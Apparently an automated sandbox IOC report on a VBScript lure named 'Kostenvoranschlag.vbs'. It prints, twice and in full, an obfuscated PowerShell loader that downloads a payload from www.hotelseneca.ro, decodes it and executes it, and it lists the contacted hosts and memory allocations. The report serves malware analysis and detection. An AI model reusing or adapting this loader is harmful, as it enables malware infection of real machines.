IOC Report
Kostenvoranschlag.vbs

Kostenvoranschlag.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Kostenvoranschlag.vbs"

C:\Windows\System32\PING.EXE

ping Horm5zl_6637.6637.6637.657e

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Texguino Trave gastnderens Oppustes #>;$Nrtagenhedens='Forgrenedes';<#Samlemappens Slenderization Forepale Kiloers Bulmeurters #>;$Skuldrings11=$Varies+$host.UI; function Blaaklokkers($Kmnings246){If ($Skuldrings11) {$Koalabjrn++;}$Afvundnes=$Maleficium+$Kmnings246.'Length'-$Koalabjrn; for( $Katina=4;$Katina -lt $Afvundnes;$Katina+=5){$Tachytelic=$Katina;$Presartorial+=$Kmnings246[$Katina];$Harpalides='Glaeder';}$Presartorial;}function Fritidsklubberne($Fjernsynsapparat){ . ($Festsale) ($Fjernsynsapparat);}$Mellemstykket=Blaaklokkers 'C mpMUnaboRunbz.awaiComplAzuml RaaaWall/Amal ';$Arkipelagers='De d[ UncNP edEDaabtUn.e.Fjl.SNoncEMiljR Intv PiniE.toCSyllESyntPnervoLyriIafsyNOddet .olMK meaFavnnfra,A RungHabie KnorArga]Ingo:Kr g:AllesW.ipeBemacskftuBl,arSkovi CentUnlaY EstPObseRAriloMussTTrypOPaucCLageOTyp,lKerm Mist= Hy, ';$Mellemstykket+=Blaaklokkers 'Kors5Camb.P ls0Ande Paat( igiWRigsiSjusn InsdPolyo enrwMelosCykl endNOverT nd Gaar1Over0Atro.Mine0Unpr;Cha ,ikkW andiKancnrnne6Ro,e4Re r; K g Pr,xheim6Pawl4Feti; ora G ourCatavuneq:Peri1 Sem3Adve1 Pup.M,na0Aabe) Kli OveGPrd eWoolcSuppk PreoUni./Afma2Bane0 Fej1 ea0Skin0preo1,ros0Damp1Sand Ha FFlavi Sndr Ague DisfGorgoAbstx g n/Mari1 ave3 .al1Frem.gyna0Bes, ';$Arkipelagers+='Hold[StanNGroueA snTAbey.ProtS PrsEoprec inmU TwyrKretienertT anyRewrp SedrSleeoAylitGadeOProtCBaadoVeneLDepoTTtelY.ittpInteeToma] Sla ';$Furthy=Blaaklokkers 'InteU In sS edELunerM un-RemiaSpriGaikiEContN O eT rbe ';$Opvejningerne=Blaaklokkers ' ureh fsotBalltStabpStyls ati:Shet/Anno/,efowbejlw SubwFede.EpishHa doSt,nt OuteKloalOuabs ecie,usknBiseebefrcIndkaVarm. xplr Ai,oFasc/ MulPAv neFamirLyknsReprpStrieSnorcAnsatSnkeiVituv BesiUnu.s EcltHapu.RibbsWienn ybgpUni ';$Vellumy=Blaaklokkers 'Pseu>Adre ';$Festsale=Blaaklokkers 'tingiL rrEMediX,toc ';$Kua='Unfanged';$Arkipelagers+='thor:Unde:KdkrtPaloLRecosEnhe1S bs2 Hom ';$Befjelsernes='\Commandoes.Gre';Fritidsklubberne (Blaaklokkers 'Grav$Du,egTripL ndhoClosbTredARe aLSuff:DassBJuguA .eklOutlA Medr ,udaEli OKonk=vrne$WageeBurfnPr.tvSpri:F rsAshivPFi vpensodfi,aaDermTOtheaRega+ngle$,dspbgangE Ny f IltjGrenEReprL Ch s Fe ED varKnocNRegneL biS Irr ');Fritidsklubberne (Blaaklokkers ' Ci.$ torgSelvLB ddoFiloB indAKjruL Ko.:SucuS ,raaOv,rLLsenmKonceAitkdUdskIDoubg alt ermNBamlImruwN Fu GFormE elR.trasVrte=Rntg$shepOFe tpIlliv UbeEParajUnden AtoI OffnAbj gDespe LadrMononMissEAll . .erSfllePKanolR ali,almtKitt(nonb$BughV inE fr,L inylcageUUr sMVi.jyS nf)Regn ');Fritidsklubberne (Blaaklokkers $Arkipelagers);$Opvejningerne=$Salmedigtningers[0];$Autostandardization=(Blaaklokkers 'Moda$BobfgMuslLL viO omabAwarATes l for: .eisTvinnCommd Blae My rPoemlUn aeKmpem PranSndeiLokaNSt eGTrk,ESt iRDa enHundeBa f=UnheNRaasETeedWUn e-AdepO,edtb LuejSem.eSuppCSkrmtStil BesS PhoYClins Sint C.iEa epm Lyk. PernHar E ksiT A t. dewJgereImbuBLiviCPalelamini stvEBl gNUnaptTa.j ');Fritidsklubberne ($Autostandardization);Fritidsklubberne (Blaaklokkers ' kyd$CarpSHo knUmidd L meSemir Deml L.neM num salnK,lli Undn DemgIofbe NonrSpidnFalseIdio.Wat,HDr keCensaS bdd .sse HolrEtagsS bd[ Vig$ Su FHel uBogsrSuabtRusshUdspyDivi]Kidd= elv$ onoMRefoe BlulBe jlkompeNo dmcestsur tt HemyEverk.ffikAttreLatctRip ');$Miljbeskyttelseskonventioners=Blaaklokkers ',nsh$ O.uSUnden ahad .kaeF itrEnrelDem ePrefmTheanUdsairebunCapigCreme butrhyp.n OveePseu.LsniDSta o PoiwFrihnGhoullokko BlnaLystdKalvF UnbiCh llSickeresp( Kul$IganOTa pp,onev Je.eDolmjSpilnnighi CounAug.gElmueW,amrCas,nDueleSple,Wham$FirraArchn Ka.s YodtUudstKonge .arl .ersMeste NonsByfepZaptl egraMoonn I gsSc m)Ind ';$ansttelsesplans=$Balarao;Fritidsklubberne (Blaaklokkers 'Liba$ KonGT isL NonoJiv BKompA autLVest: arkpHemooOpers WebtBro IPol,L StaLAraeaEmueTUnmoiHeguOGyp NPorg= ig(Split eceEKvlnsDommtPaus-Fi uP MelASusstGadeh Sug P rv$Or hALageN,orsSDvrgtOnduTSheeEWreal Ba,S .taeMoolS Sh,PPsykLSestA RumN cars .um)Ocea ');while (!$Postillation) {Fritidsklubberne (Blaaklokkers 'D ou$FladgUd tlEf eoS ivbstera.lupl ra:P eeMPilie enorEntri EyetI.dio ncirCen iViolosejluPicksTranlquinyBar =Spec$FusetGrafrTek uScoleAlas ') ;Fritidsklubberne $Miljbeskyttelseskonventioners;Fritidsklubberne (Blaaklokkers 'P lySNotiTNeimaallerNaadTUfo,-r stsVandlCamoE V deOranpCard Fo s4Palm ');Fritidsklubberne (Blaaklokkers 'Plan$Stn gUlvel aloBissBl.dyAStanLVerd: ruPDehyOUn esDyscTSebriYvinlUniml BilAHeteT esti IsoOBlinn ep=Tril(Esclt Made EutsU.ictOmel-Ank pWhacaNilaTSkr hFrak lip$Bud ATroln rizsr veTFibrTChasEfrillUners.urgEc rcsFeofPInd LSekoA MilNTekss tto)ser ') ;Fritidsklubberne (Blaaklokkers 'Flan$StraGRentlDadeo ubbsmeraLat LDown:N nvYCo udAfgiE FodrMirslcarbiPl ugInvos pantOpsaESulfsChro=Ae.o$SciegforfLSheaOted bB deA KonlBars:N,agbComeiH drLTovrgSkylG ParEUdkar D snAf keMedl+Fre,+Konk% Kry$TestS SigaUllilUframT alEEcclD isiCorrg.arbT cepnSub iFjumN EdigIsopELophRSu csAsbe.MammCM llOSelvuP ovnBet,TCoug ') ;$Opvejningerne=$Salmedigtningers[$Yderligstes];}$Katinantergraft12=327303;$Klandret=29217;Fritidsklubberne (Blaaklokkers 'Sega$ di.gMalel layO MilbOrdrA.agel ei:F,rtI,jrnlOpd LInteaRootQTeoru,ille SkraStreb ,uaL tete,aar ,oss=Unde StegSt aE antopsl-VrdiC BalOSignnCeraTMesoESon NMa et .pr lec$ ForAButtN Trosbry,t MaeTKrakeTalllUmbrssal Eondus MarpSondLS prA KonNSkabSSubc ');Fritidsklubberne (Blaaklokkers ' sty$Anteg MuclWai.oInd,bMiniaSorel Ske:InteBMaalointrmMammbCa sy Re,cgul iFun.lObjel uteaHjer Pudd= ind East[Pho SOpsayC assSkartqurteTri.mfoto.FedtC MoooServntr.mv Co eDgnpr DmrtSwe ]B si:Fo s:S,rrFChadrMello Clom me.BVrgeaInspsTempeInfr6Data4ShebSProltKaemr.atriNonpnEfteg,ose(Bi o$rekoIMorgl O,fl PreaSp,nq Vrduf,ane SnoaE.spbAalelTe te Sko) kul ');Fritidsklubberne (Blaaklokkers ' e p$Epa gDepelpre,oFashBRnneaEspuLAspe:AlcafSem.iEnorrUncle A vSSem.IBgebdPresE,uri Mini= tri H mi[TyrksSlriY DumSInchtclogeShipM mrt.InteTForkEvarsx LogTS ua.Acrie onnN ,omC AstO OveDIntei hetNBiblGNote]Subp:Paal:SknjACounSAerocMisoIRi eiMe a.TilsgbjereoxidTMistS ChoTFu drKerai PronAm hGShri( je$WiseBPlatoRejimmultB ,teyTegnc,arsiKetaLG,nilLyriAM ho)Arta ');Fritidsklubberne (Blaaklokkers 'Sl e$KhmeGtolvL HanOViadbF.rfa esslSvin: onfpSymby dillFl,coUjvnr b.rO orlUMuttsFern6Stur9 Rai= C u$.panfBoerIM,rbr soleTo.ds erI alad odgeMark.MyelS keU C,tbTrensA ylTMosrr SteImodfN etrgAnti(Form$,arikDde AtreeTAteliinfanC,una VejN BeiTUopse C srDislGDimeRBl taPeleF ndtWhit1Trek2Prea,Vagt$ProcKUndrl GotABuseNhumed couRDr jEMasttPrer)Horr ');Fritidsklubberne $Pylorous69;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Texguino Trave gastnderens Oppustes #>;$Nrtagenhedens='Forgrenedes';<#Samlemappens Slenderization Forepale Kiloers Bulmeurters #>;$Skuldrings11=$Varies+$host.UI; function Blaaklokkers($Kmnings246){If ($Skuldrings11) {$Koalabjrn++;}$Afvundnes=$Maleficium+$Kmnings246.'Length'-$Koalabjrn; for( $Katina=4;$Katina -lt $Afvundnes;$Katina+=5){$Tachytelic=$Katina;$Presartorial+=$Kmnings246[$Katina];$Harpalides='Glaeder';}$Presartorial;}function Fritidsklubberne($Fjernsynsapparat){ . ($Festsale) ($Fjernsynsapparat);}$Mellemstykket=Blaaklokkers 'C mpMUnaboRunbz.awaiComplAzuml RaaaWall/Amal ';$Arkipelagers='De d[ UncNP edEDaabtUn.e.Fjl.SNoncEMiljR Intv PiniE.toCSyllESyntPnervoLyriIafsyNOddet .olMK meaFavnnfra,A RungHabie KnorArga]Ingo:Kr g:AllesW.ipeBemacskftuBl,arSkovi CentUnlaY EstPObseRAriloMussTTrypOPaucCLageOTyp,lKerm Mist= Hy, ';$Mellemstykket+=Blaaklokkers 'Kors5Camb.P ls0Ande Paat( igiWRigsiSjusn InsdPolyo enrwMelosCykl endNOverT nd Gaar1Over0Atro.Mine0Unpr;Cha ,ikkW andiKancnrnne6Ro,e4Re r; K g Pr,xheim6Pawl4Feti; ora G ourCatavuneq:Peri1 Sem3Adve1 Pup.M,na0Aabe) Kli OveGPrd eWoolcSuppk PreoUni./Afma2Bane0 Fej1 ea0Skin0preo1,ros0Damp1Sand Ha FFlavi Sndr Ague DisfGorgoAbstx g n/Mari1 ave3 .al1Frem.gyna0Bes, ';$Arkipelagers+='Hold[StanNGroueA snTAbey.ProtS PrsEoprec inmU TwyrKretienertT anyRewrp SedrSleeoAylitGadeOProtCBaadoVeneLDepoTTtelY.ittpInteeToma] Sla ';$Furthy=Blaaklokkers 'InteU In sS edELunerM un-RemiaSpriGaikiEContN O eT rbe ';$Opvejningerne=Blaaklokkers ' ureh fsotBalltStabpStyls ati:Shet/Anno/,efowbejlw SubwFede.EpishHa doSt,nt OuteKloalOuabs ecie,usknBiseebefrcIndkaVarm. xplr Ai,oFasc/ MulPAv neFamirLyknsReprpStrieSnorcAnsatSnkeiVituv BesiUnu.s EcltHapu.RibbsWienn ybgpUni ';$Vellumy=Blaaklokkers 'Pseu>Adre ';$Festsale=Blaaklokkers 'tingiL rrEMediX,toc ';$Kua='Unfanged';$Arkipelagers+='thor:Unde:KdkrtPaloLRecosEnhe1S bs2 Hom ';$Befjelsernes='\Commandoes.Gre';Fritidsklubberne (Blaaklokkers 'Grav$Du,egTripL ndhoClosbTredARe aLSuff:DassBJuguA .eklOutlA Medr ,udaEli OKonk=vrne$WageeBurfnPr.tvSpri:F rsAshivPFi vpensodfi,aaDermTOtheaRega+ngle$,dspbgangE Ny f IltjGrenEReprL Ch s Fe ED varKnocNRegneL biS Irr ');Fritidsklubberne (Blaaklokkers ' Ci.$ torgSelvLB ddoFiloB indAKjruL Ko.:SucuS ,raaOv,rLLsenmKonceAitkdUdskIDoubg alt ermNBamlImruwN Fu GFormE elR.trasVrte=Rntg$shepOFe tpIlliv UbeEParajUnden AtoI OffnAbj gDespe LadrMononMissEAll . .erSfllePKanolR ali,almtKitt(nonb$BughV inE fr,L inylcageUUr sMVi.jyS nf)Regn ');Fritidsklubberne (Blaaklokkers $Arkipelagers);$Opvejningerne=$Salmedigtningers[0];$Autostandardization=(Blaaklokkers 'Moda$BobfgMuslLL viO omabAwarATes l for: .eisTvinnCommd Blae My rPoemlUn aeKmpem PranSndeiLokaNSt eGTrk,ESt iRDa enHundeBa f=UnheNRaasETeedWUn e-AdepO,edtb LuejSem.eSuppCSkrmtStil BesS PhoYClins Sint C.iEa epm Lyk. PernHar E ksiT A t. dewJgereImbuBLiviCPalelamini stvEBl gNUnaptTa.j ');Fritidsklubberne ($Autostandardization);Fritidsklubberne (Blaaklokkers ' kyd$CarpSHo knUmidd L meSemir Deml L.neM num salnK,lli Undn DemgIofbe NonrSpidnFalseIdio.Wat,HDr keCensaS bdd .sse HolrEtagsS bd[ Vig$ Su FHel uBogsrSuabtRusshUdspyDivi]Kidd= elv$ onoMRefoe BlulBe jlkompeNo dmcestsur tt HemyEverk.ffikAttreLatctRip ');$Miljbeskyttelseskonventioners=Blaaklokkers ',nsh$ O.uSUnden ahad .kaeF itrEnrelDem ePrefmTheanUdsairebunCapigCreme butrhyp.n OveePseu.LsniDSta o PoiwFrihnGhoullokko BlnaLystdKalvF UnbiCh llSickeresp( Kul$IganOTa pp,onev Je.eDolmjSpilnnighi CounAug.gElmueW,amrCas,nDueleSple,Wham$FirraArchn Ka.s YodtUudstKonge .arl .ersMeste NonsByfepZaptl egraMoonn I gsSc m)Ind ';$ansttelsesplans=$Balarao;Fritidsklubberne (Blaaklokkers 'Liba$ KonGT isL NonoJiv BKompA autLVest: arkpHemooOpers WebtBro IPol,L StaLAraeaEmueTUnmoiHeguOGyp NPorg= ig(Split eceEKvlnsDommtPaus-Fi uP MelASusstGadeh Sug P rv$Or hALageN,orsSDvrgtOnduTSheeEWreal Ba,S .taeMoolS Sh,PPsykLSestA RumN cars .um)Ocea ');while (!$Postillation) {Fritidsklubberne (Blaaklokkers 'D ou$FladgUd tlEf eoS ivbstera.lupl ra:P eeMPilie enorEntri EyetI.dio ncirCen iViolosejluPicksTranlquinyBar =Spec$FusetGrafrTek uScoleAlas ') ;Fritidsklubberne $Miljbeskyttelseskonventioners;Fritidsklubberne (Blaaklokkers 'P lySNotiTNeimaallerNaadTUfo,-r stsVandlCamoE V deOranpCard Fo s4Palm ');Fritidsklubberne (Blaaklokkers 'Plan$Stn gUlvel aloBissBl.dyAStanLVerd: ruPDehyOUn esDyscTSebriYvinlUniml BilAHeteT esti IsoOBlinn ep=Tril(Esclt Made EutsU.ictOmel-Ank pWhacaNilaTSkr hFrak lip$Bud ATroln rizsr veTFibrTChasEfrillUners.urgEc rcsFeofPInd LSekoA MilNTekss tto)ser ') ;Fritidsklubberne (Blaaklokkers 'Flan$StraGRentlDadeo ubbsmeraLat LDown:N nvYCo udAfgiE FodrMirslcarbiPl ugInvos pantOpsaESulfsChro=Ae.o$SciegforfLSheaOted bB deA KonlBars:N,agbComeiH drLTovrgSkylG ParEUdkar D snAf keMedl+Fre,+Konk% Kry$TestS SigaUllilUframT alEEcclD isiCorrg.arbT cepnSub iFjumN EdigIsopELophRSu csAsbe.MammCM llOSelvuP ovnBet,TCoug ') ;$Opvejningerne=$Salmedigtningers[$Yderligstes];}$Katinantergraft12=327303;$Klandret=29217;Fritidsklubberne (Blaaklokkers 'Sega$ di.gMalel layO MilbOrdrA.agel ei:F,rtI,jrnlOpd LInteaRootQTeoru,ille SkraStreb ,uaL tete,aar ,oss=Unde StegSt aE antopsl-VrdiC BalOSignnCeraTMesoESon NMa et .pr lec$ ForAButtN Trosbry,t MaeTKrakeTalllUmbrssal Eondus MarpSondLS prA KonNSkabSSubc ');Fritidsklubberne (Blaaklokkers ' sty$Anteg MuclWai.oInd,bMiniaSorel Ske:InteBMaalointrmMammbCa sy Re,cgul iFun.lObjel uteaHjer Pudd= ind East[Pho SOpsayC assSkartqurteTri.mfoto.FedtC MoooServntr.mv Co eDgnpr DmrtSwe ]B si:Fo s:S,rrFChadrMello Clom me.BVrgeaInspsTempeInfr6Data4ShebSProltKaemr.atriNonpnEfteg,ose(Bi o$rekoIMorgl O,fl PreaSp,nq Vrduf,ane SnoaE.spbAalelTe te Sko) kul ');Fritidsklubberne (Blaaklokkers ' e p$Epa gDepelpre,oFashBRnneaEspuLAspe:AlcafSem.iEnorrUncle A vSSem.IBgebdPresE,uri Mini= tri H mi[TyrksSlriY DumSInchtclogeShipM mrt.InteTForkEvarsx LogTS ua.Acrie onnN ,omC AstO OveDIntei hetNBiblGNote]Subp:Paal:SknjACounSAerocMisoIRi eiMe a.TilsgbjereoxidTMistS ChoTFu drKerai PronAm hGShri( je$WiseBPlatoRejimmultB ,teyTegnc,arsiKetaLG,nilLyriAM ho)Arta ');Fritidsklubberne (Blaaklokkers 'Sl e$KhmeGtolvL HanOViadbF.rfa esslSvin: onfpSymby dillFl,coUjvnr b.rO orlUMuttsFern6Stur9 Rai= C u$.panfBoerIM,rbr soleTo.ds erI alad odgeMark.MyelS keU C,tbTrensA ylTMosrr SteImodfN etrgAnti(Form$,arikDde AtreeTAteliinfanC,una VejN BeiTUopse C srDislGDimeRBl taPeleF ndtWhit1Trek2Prea,Vagt$ProcKUndrl GotABuseNhumed couRDr jEMasttPrer)Horr ');Fritidsklubberne $Pylorous69;"

Horm5zl_6637.6637.6637.657e

unknown

www.hotelseneca.ro

unknown

5A5D000

trusted library allocation

page read and write

88A0000

direct allocation

page execute and read and write

A45F000

direct allocation

page execute and read and write

16773913000

trusted library allocation

page read and write